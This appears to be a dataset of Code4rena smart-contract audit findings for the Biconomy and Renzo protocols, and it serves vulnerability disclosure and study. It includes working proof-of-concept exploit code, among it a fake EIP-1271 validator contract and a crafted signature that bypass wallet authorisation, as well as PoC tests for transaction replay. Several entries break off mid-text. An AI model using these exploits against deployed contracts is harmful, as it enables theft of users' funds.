xanoutas/solidity-security-findings huggingface dataset:
Attacker can bypass signature validation and send arbitrary transactions to be executed by smart wallet.
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343


# Vulnerability details

## Impact
On `SmartAccount.sol` logic to handle contract signatures there is no validation of which contracts are allowed to sign the transaction. Therefore an attacker can deploy a contract that validades all signatures sent to it and then craft a signature that points to this contract and pass this signature to `execTransaction()`. This allows the attacker to execute arbitrary transactions on any smart wallet.

## Proof of Concept
Consider the following series of steps
1. Eve (attacker) deploys the following contract

```javascript
pragma solidity 0.8.12;

contract FakeValidator {
    function isValidSignature(
        bytes memory _data, 
        bytes memory _signature
    ) public pure returns (bytes4) {
        return 0x20c13b0b; //EIP1271_MAGIC_VALUE
    }
}
```
2. Eve craft the signature off-chain
```javascript
let signature = (
    "0x000000000000000000000000" + fakeValidator.address.slice(2)          // r = contract address cast to 32bytes
    + "0000000000000000000000000000000000000000000000000000000000000041"   // s = 65
    + "00"                                                                 // v = 0
    + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements 
    + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements
    + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements
    + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements
);
```
3. Eve calls `execTransaction()` with any tx she wants using the above signature on any smart wallet.

For the complete POC, add FakeValidator contract above to "contracts/smart-contract-wallet/FakeValidator.sol" and then run the following test.
```javascript
import { expect } from "chai";
import { ethers } from "hardhat";
import { encodeTransfer } from "./testUtils";
import {
  SafeTransaction,
  Transaction,
  FeeRefund,
  buildSafeTransaction,
} from "../../src/utils/execution";

describe("POC", function () {
    it("Craft Signature", async function () {
        
        //Setup
        let accounts = await ethers.getSigners();
        let alice = await accounts[0].getAddress();
        let eve = await accounts[2].getAddress();

        const BaseImplementation = await ethers.getContractFactory("SmartAccount");
        let baseImpl = await BaseImplementation.deploy();
        await baseImpl.deployed();

        const WalletFactory = await ethers.getContractFactory("SmartAccountFactory");
        let walletFactory = await WalletFactory.deploy(baseImpl.address);
        await walletFactory.deployed();

        const EntryPoint = await ethers.getContractFactory("EntryPoint");
        le
The Smart Account can be generated in duplicate, and the attacker uses it by frontrunning the wallet generation process.
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33-L45
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53-L61


# Vulnerability details

The user creates a wallet through `deployCounterFactualWallet` or `deployWallet`. However, there is currently no code to check if the wallet already exists and always `isAccountExist[proxy]` is true, so wallets can be generated in duplicate. Attacker can use this to create the same wallet in advance before the user uses it.

## Proof of Concept
1. When a transaction that generates a user's wallet is posted in mempool, Attacker raises the gas cost and submits two transactions.
2. First of all, the attacker submits a transaction that generates the same wallet as the user.
3. Second, the attacker submits a transaction to sign a malicious contract with the wallet.
4. After that, the user creates the same wallet and uses several dApps through the wallet.
5. When enough money comes into the wallet, the attacker steals the user's funds through a previously signed malicious contract.

## Tools Used
Manual audit

## Recommended Mitigation Steps
To prevent this, a code should be added to check whether the current wallet already exists.
```
require(isAccountExist[proxy] != true, "Address is aleary exist")
```
Transaction replay is possible due to the use of mapping of nonces
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L204-L219


# Vulnerability details

## Impact
Due to the use of a mapping of nonces, instead of a single one, on certain cases transaction replay is possible.

For example, in the first tx of each batchId the actual nonce used is 0. But in the nonces mapping there are on the order of 2^256 nonces values that equals 0 (as they are all initiliazed to 0), therefore from a practical point of view an attacker can replay this first transaction as many times they want.

This vulnerability is more broader as it can works to replay entire series of batched txs or any contiguous subset of batched txs that starts from `nonces[batchId] == 0`. On special circustances it can also be used to replay specific transactions. Anytime that there is a "collision" between two `nonces[batchId]`, an attacker can exploit this to replay that tx and any following tx on that batchId.

## Proof of Concept
For simplicity, consider the following attack for the first tx of any `batchId`.
1. Alice send the tx to the wallet to transfer 10 tokens to Bob.
2. Eve records the tx info.
3. Eve replays the tx using any other `batchId` value where `nonces[batchId] == 0` (For the first tx of each batch, there are many `batchId` that satisfy ( `nonces[batchId] == 0`), so Eve can replay this tx how many times she wants).

```javascript
import { expect } from "chai";
import { ethers } from "hardhat";
import { encodeTransfer } from "./testUtils";
import {
  SafeTransaction,
  Transaction,
  FeeRefund,
  safeSignMessage,
  buildSafeTransaction,
} from "../../src/utils/execution";

describe("POC", function () {
  it("Replay Tx", async function () {

    //Setup
    let accounts = await ethers.getSigners();
    let alice = await accounts[0].getAddress();
    let bob = await accounts[1].getAddress();
    let eve = await accounts[2].getAddress();

    const BaseImplementation = await ethers.getContractFactory("SmartAccount");
    let baseImpl = await BaseImplementation.deploy();
    await baseImpl.deployed();

    const WalletFactory = await ethers.getContractFactory("SmartAccountFactory");
    let walletFactory = await WalletFactory.deploy(baseImpl.address);
    await walletFactory.deployed();

    const EntryPoint = await ethers.getContractFactory("EntryPoint");
    let entryPoint = await EntryPoint.deploy();
    await entryPoint.deployed();

    const MockToken = await ethers.getContractFactory("MockToken");
    let token = await MockToken.deploy();
    await token.deployed();

    const DefaultHandler = await ethers.getContractFactory(
      "DefaultCallbackHandler"
    );
    let handler = await DefaultHandler.deploy();
    await handler.deployed();

    await token.mint(alice, ethers.utils.parseEther("1000000"));
    const wallet_address = await walletFactory.getAddressForCounterfactualWallet(
      alice,
      0
    );
Withdrawals can be locked forever if recipient is a contract
Audit: 2024-04-renzo-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Withdraw/WithdrawQueue.sol#L303


# Vulnerability details

## Impact
The [`WithdrawQueue`](https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Withdraw/WithdrawQueue.sol#L303) contract allows users to request withdrawals of their ezETH tokens in exchange for a selected asset, such as ETH or an ERC20 token. After a cooldown period, users can call the [`claim()`](https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Withdraw/WithdrawQueue.sol#L279) function to receive their withdrawn assets.

When the selected asset is ETH, the `claim()` function sends the ETH using the low-level `transfer()` function:

```solidity
payable(msg.sender).transfer(_withdrawRequest.amountToRedeem);
```

However, `transfer()` only forwards 2300 gas, which is not enough for the recipient to execute any non-trivial logic in a `receive()` or fallback function. For instance, it is not enough for Safes (such as [this one](https://etherscan.io/address/0xd1e6626310fd54eceb5b9a51da2ec329d6d4b68a) in use by the protocol) to receive funds, which require > 6k gas for the call to reach the implementation contract and emit an event:

![image](https://github.com/code-423n4/2024-04-renzo/assets/153658521/6690e690-b759-4057-ba92-25514fa8f210)

In this case, the impact is higher than that reported by [4naly3er](https://github.com/code-423n4/2024-04-renzo/blob/main/4naly3er-report.md#m-4-call-should-be-used-instead-of-transfer-on-an-address-payable) because `claim()` requires the caller to be the same address that initiated the original withdrawal request via `withdraw()`.

If a user calls `withdraw()` from a contract account like a multisig or smart contract wallet that has a `receive()` function requiring >2300 gas, their subsequent `claim()` call will fail permanently. The withdrawn ETH will be locked in the `WithdrawQueue` contract forever, leading to loss of funds.

## Proof of Concept
1. Alice calls `withdraw()` from her multisig wallet contract to withdraw 10 ETH worth of ezETH. The multisig contract is the `msg.sender` and gets saved as the withdrawal requester.
4. After the cooldown period, Alice tries to call `claim()` from the multisig contract. However, the multisig has a `receive()` function that uses >2300 gas. 
5. When `claim()` executes `payable(msg.sender).transfer(_withdrawRequest.amountToRedeem)`, the multisig's `receive()` fails due to out of gas, and the transaction reverts.
6. The 10 ETH is now permanently locked in `WithdrawQueue`, with no way for Alice to claim it.

## Tools Used
Manual review

## Recommended Mitigation Steps
Use `call()` instead of `transfer()` to send ETH in `claim()`:

```
(bool success, ) = payable(msg.sender).call{value: _withdrawRequest.amountToRedeem}("");
require(success, "ETH transfer failed");
```

This forwards all available gas a
Any withdrawals from `beaconChainETHStrategy` cannot be completed, due to OperatorDelegator reentrancy guard
Audit: 2024-04-renzo-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L265


# Vulnerability details

## Impact
`OperatorDelegator.completeQueuedWithdrawal()` perform an external call to [delegationManager](https://github.com/Layr-Labs/eigenlayer-contracts/blob/15b679b08e7a3589ff83a5e84076ca4e0a00ec0b/src/contracts/core/DelegationManager.sol#L305) contract which finalize any queued withdrawals initiated by the operatorDelegator. This function passes `receiveAsToken` parameter `true`, so the podOwnerShares in EigenPodManager/StrategyManager will be redeemable for the underlying token. 

If the withdrawal is from the [beaconChainETHStrategy](https://github.com/Layr-Labs/eigenlayer-contracts/blob/15b679b08e7a3589ff83a5e84076ca4e0a00ec0b/src/contracts/core/DelegationManager.sol#L750-L755), it processes a transfer of the amount of beacon chain ETH to the `withdrawer`(i.e. operatorDelegator), which causes the `nonReentrant` check to be triggered for the [second time](https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L501). The txn reverts and any queued withdrawal from the stategies cannot be completed further. 

## Proof of Concept
Step-by-step execution flow,
1. NativeEthRestakeAdmin call `OperatorDelegator.queueWithdrawals()` making a full or partial withdrawal from the beacon chain, note the `withdrawer` is the OperatorDelegator itself
https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L228-L229

2. Before the withdrawal can be completed, podOwner call the permissionless `EigenPod.verifyAndProcessWithdrawal` function to prove that a withdrawal occured on the beacon chain, 
https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L414

3. After the delay has been passed, the nativeEthRestakeAdmin call `completeQueuedWithdrawal()` to finalize the withdrawal, also where the first time reentrancy guard activates(marks `_status = _ENTERED`) 

```solidity
        // complete the queued withdrawal from EigenLayer with receiveAsToken set to true
        delegationManager.completeQueuedWithdrawal(withdrawal, tokens, middlewareTimesIndex, true);
```
4. Since the `receiveAsTokens==true`, the delegationManager `withdrawSharesAsTokens` via the `EigenPodManager`,
https://github.com/Layr-Labs/eigenlayer-contracts/blob/15b679b08e7a3589ff83a5e84076ca4e0a00ec0b/src/contracts/core/DelegationManager.sol#L751

5. `EigenPodManager` checks for any ETH deficit, and updates the amount accordingly. Finally, the `EigenPod.withdrawRestakedBeaconChainETH()` is called, to `_sendETH` to the `withdrawer` address. 
https://github.com/Layr-Labs/eigenlayer-contracts/blob/15b679b08e7a3589ff83a5e84076ca4e0a00ec0b/src/contracts/pods/EigenPod.sol#L424C14-L424C44

6. `rece
ReentrancyGuard causes all native currency funds to get locked inside the EigenPod contract
Audit: 2024-04-renzo-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L265-L269
https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L501


# Vulnerability details

## Impact
OperatorDelegator contracts are not able to make partial or full withdrawals of the ETH in their EigenPod contracts coming from the beacon chain. Effectively locking all the collaterals for each node (32 ETH each) + all profits.

## Proof of Concept
The issue is that both [`OperatorDelegator.sol:completeQueuedWithdrawal()`](https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L265-L269) and [`receive()`](https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L501) have `nonReentrant` modifier:

```solidity
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
```

When we first make a call to [`OperatorDelegator.sol:completeQueuedWithdrawal()`](https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L265-L269) the _status will become _ENTERED, then this line will get executed:

```solidity
function completeQueuedWithdrawal(...) external nonReentrant onlyNativeEthRestakeAdmin {
  ...
  delegationManager.completeQueuedWithdrawal(withdrawal, tokens, middlewareTimesIndex, true);
  ...
}
```

EigenLayer will try to send the the native currency which will trigger `receive()` but _status will already equal _ENTERED which will result in a revert here:

```solidity
    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
@>      require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

```

## Tools Used
Manual Review

## Recommended Mitigation Steps
Remove the nonReentrant modifier from the receive function.


## Assessed type

DoS
Completing a withdrawal reverts due to unexpected caller 
Audit: 2024-04-renzo-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Deposits/DepositQueue.sol#L134-L145
https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Delegation/OperatorDelegator.sol#L265-L314


# Vulnerability details

## Impact
When the queued withdrawal is completed by the native eth stake admin in the operator delegator, the complete withdrawal function can revert if there is a deficit to fill. The revert reason is simply that the call to the deposit queue contracts `fillERC20withdrawBuffer` assumes the caller will be always `RestakeManager` however in this case the caller will be `OperatorDelegator` contract. Completing a withdrawal queue can be impossible if there is a deficit and there are no further deposits.
## Proof of Concept
When the complete withdrawal is called, if there are any deficit to fill in withdraw queue contract the amount up to the deficit amount will be transferred to deposit queue as follows:
```solidity
function completeQueuedWithdrawal(
        IDelegationManager.Withdrawal calldata withdrawal,
        IERC20[] calldata tokens,
        uint256 middlewareTimesIndex
    ) external nonReentrant onlyNativeEthRestakeAdmin {
            .
            .
            // check if token is not Native ETH
            if (address(tokens[i]) != IS_NATIVE) {
                // Check the withdraw buffer and fill if below buffer target
                uint256 bufferToFill = withdrawQueue.getBufferDeficit(address(tokens[i]));

                // get balance of this contract
                uint256 balanceOfToken = tokens[i].balanceOf(address(this));
                if (bufferToFill > 0) {
                    bufferToFill = (balanceOfToken <= bufferToFill) ? balanceOfToken : bufferToFill;
                    .
                    .
                    // fill Withdraw Buffer via depositQueue
                    -> restakeManager.depositQueue().fillERC20withdrawBuffer(
                        address(tokens[i]),
                        bufferToFill
                    );
                    .
        }
```

However, the deposit queues `fillERC20withdrawBuffer` is not expecting the `OperatorDelegator` contract to call itself and has a only restake manager modifier as follows:
```solidity
function fillERC20withdrawBuffer(
        address _asset,
        uint256 _amount
    -> ) external nonReentrant onlyRestakeManager {
        if (_amount == 0 || _asset == address(0)) revert InvalidZeroInput();
        // safeTransfer from restake manager to this address
        IERC20(_asset).safeTransferFrom(msg.sender, address(this), _amount);
        // approve the token amount for withdraw queue
        IERC20(_asset).safeApprove(address(withdrawQueue), _amount);
        // call the withdraw queue to fill up the buffer
        withdrawQueue.fillERC20WithdrawBuffer(_asset, _amount);
    }
```

Hence, the function reverts. 


#### Coded PoC:
```solidit
`RenzoOracle.sol::lookupTokenValue` oracle uses 24hrs + 60 seconds which is stale
Audit: 2024-04-renzo-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/Oracle/RenzoOracle.sol#L71-L81


# Vulnerability details

## Impact
The oracle uses MAX_TIME_WINDOW which is 24 hours + 60 seconds which is a longer timeframe. This 24+ hour check is just stale for financial transactions. During high volatility periods, the price will be stale which will lead to losses for the protocol or users.

## Proof of Concept
    `function lookupTokenValue(IERC20 _token, uint256 _balance) public view returns (uint256) {
        AggregatorV3Interface oracle = tokenOracleLookup[_token];
        if (address(oracle) == address(0x0)) revert OracleNotFound();


        (, int256 price, , uint256 timestamp, ) = oracle.latestRoundData();
        if (timestamp < block.timestamp - MAX_TIME_WINDOW) revert OraclePriceExpired();
        if (price <= 0) revert InvalidOraclePrice();


        // Price is times 10**18 ensure value amount is scaled
        return (uint256(price) * _balance) / SCALE_FACTOR;
    }`
You want to give fresh data for price calculations and the 24+ hour check is too long which leads to staleness.

## Tools Used
Manual Review

## Recommended Mitigation Steps
Change the oracle staleness window from 24hours + 60 seconds to a standard lower timeframe like 15 mins


## Assessed type

Oracle